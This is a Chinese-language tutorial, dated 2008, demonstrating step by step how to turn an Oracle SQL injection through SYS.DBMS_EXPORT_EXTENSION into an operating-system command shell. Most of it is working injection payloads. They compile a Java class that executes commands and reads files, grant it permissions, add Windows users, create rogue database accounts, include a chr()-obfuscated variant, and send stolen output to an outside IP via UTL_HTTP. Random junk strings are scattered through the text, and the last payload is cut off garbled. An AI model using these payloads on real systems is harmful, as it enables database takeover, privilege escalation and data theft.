实例演示oracle注入获取cmdshell的全过程

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以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成

" j6 A7 ?* d4 [1 G& k+ v　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是为了让语句返回true值)
语句有点长，可能要用post提交。
1 C2 ]% Y) n+ s1 g. c: u* h: N以下是各个步骤：
/ m2 M1 v( U' p* X& K1.创建包
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
" K' L! C1 d" s1 P/xxx.jsp?id=1 and '1'<>'a'||(
; r1 }) G: w6 K( d% E7 Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
6 M4 @2 }: g+ a/ Onew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
# P, k# l+ o' P}'''';END;'';END;--','SYS',0,'1',0) from dual
)
: N+ p# w8 ]1 p8 F4 ]------------------------
如果url有长度限制，可以把readFile()函数块去掉，即：
/xxx.jsp?id=1 and '1'<>'a'||(
% Z6 O# a4 O0 `9 D) m5 A1 dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) R3 c  x- i* B/ dcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
8 i  u5 M3 n1 bnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
8 {: q; @* C# \}'''';END;'';END;--','SYS',0,'1',0) from dual
% i# N" r4 c8 S* }& x) x)
0 W1 ~/ W9 x2 S* _- }! L同时把后面步骤 提到的 对readFile()的处理语句去掉。
------------------------------
+ H% e8 m3 h2 Z0 m; P2.赋Java权限
# q" G6 d- G: [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3.创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" ?9 r0 {9 H# D+ J& M" i3 Qcreate or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
' k' ?4 b' v( ^1 u5 e4.赋public执行函数的权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
/ e( R- _6 ]* gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
: S; U6 r, S8 \5 Q) a1 K( O4 h, F5.测试上面的几步是否成功
! H8 Z9 O9 i0 z  e" G0 Eand '1'<>'11'||(
1 N! [4 m8 Y; i; L5 lselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
3 |3 w, N( |7 i: P! w: B)
  E" i' K1 C1 `and '1'<>(
# Q+ y) W( ]& F+ _, W& a: qselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.执行命令：
& E. N" S; J, U/xxx.jsp?id=1 and '1'<>(
- Q: W0 U) {1 m# C2 q' s7 ]select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

)
/xxx.jsp?id=1 and '1'<>(
/ R0 z! @4 |' M! S0 rselect  sys.LinxReadFile('c:/boot.ini') from dual

)
　　
% c: o6 B. l2 Q1 R注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。
如果要查看运行结果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
或者UTL_HTTP.request(:
; a  W: c% }# M$ u/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)
% ?& _* X, z4 I4 i# g/ G# V7 L0 O/xxx.jsp?id=1 and '1'<>(
5 H- H8 G$ Z/ l3 ?8 wSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
& d2 B$ }' g+ }0 v! v, @注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。
--------------------
6.内部变化
通过以下命令可以查看all_objects表达改变：
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
& m/ X$ `. z* P  c; @7 w7.删除我们创建的函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
* t0 q9 D- o/ ?  y1 B9 X4 v, S====================================================
- T1 L6 K- ]$ [% K' D3 @! h全文结束。谨以此文赠与我的朋友。
7 g" J1 y/ i; v+ I) A2 c7 `linx
  s: l2 K3 I2 G' t$ H4 b: O- y124829445
( h' |* s# D7 M; V% ~2008.1.12
/ B- l8 a1 C, Tlinyujian@bjfu.edu.cn
======================================================================
测试漏洞的另一方法：
3 v2 W8 l% ?. a, u$ b创建oracle帐号：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- S3 V( K4 c2 ~! I" `CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
即：
. E5 t" b9 c: v. V4 [) I7 w1 Kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
9 Y, ?4 L. ^; y; F4 Y" O确定漏洞存在：
8 H/ b; }  y6 B6 `7 p5 p1<>(
select user_id from all_users where username='LINXSQL'
. S. q3 I( X! m$ _+ ?$ R)
给linxsql连接权限：
! T- n; q0 W3 E& D) S& R% s0 B- Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
* ^6 n6 l; k* h& c% g# m+ z3 t删除帐号：
$ c) c+ h" J2 V. z% \0 F, d" h1 Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ o: \, |( ~3 {0 L5 S+ idrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
% ^3 a0 ~" y3 A: Y. p======================
以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：
4 Y2 _5 k5 v5 ~, j  t2 _' t5 L1.jsp?id=1 and '1'<>(
2 C7 T( n# P$ o2 B& I6 ]. L- b. ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) X# o1 U  e' c& j" [8 o) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
% j# a+ L9 J2 `" C2 h　)

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9 l% a+ [* S( E# U1 }8 j5 @: R1 K  k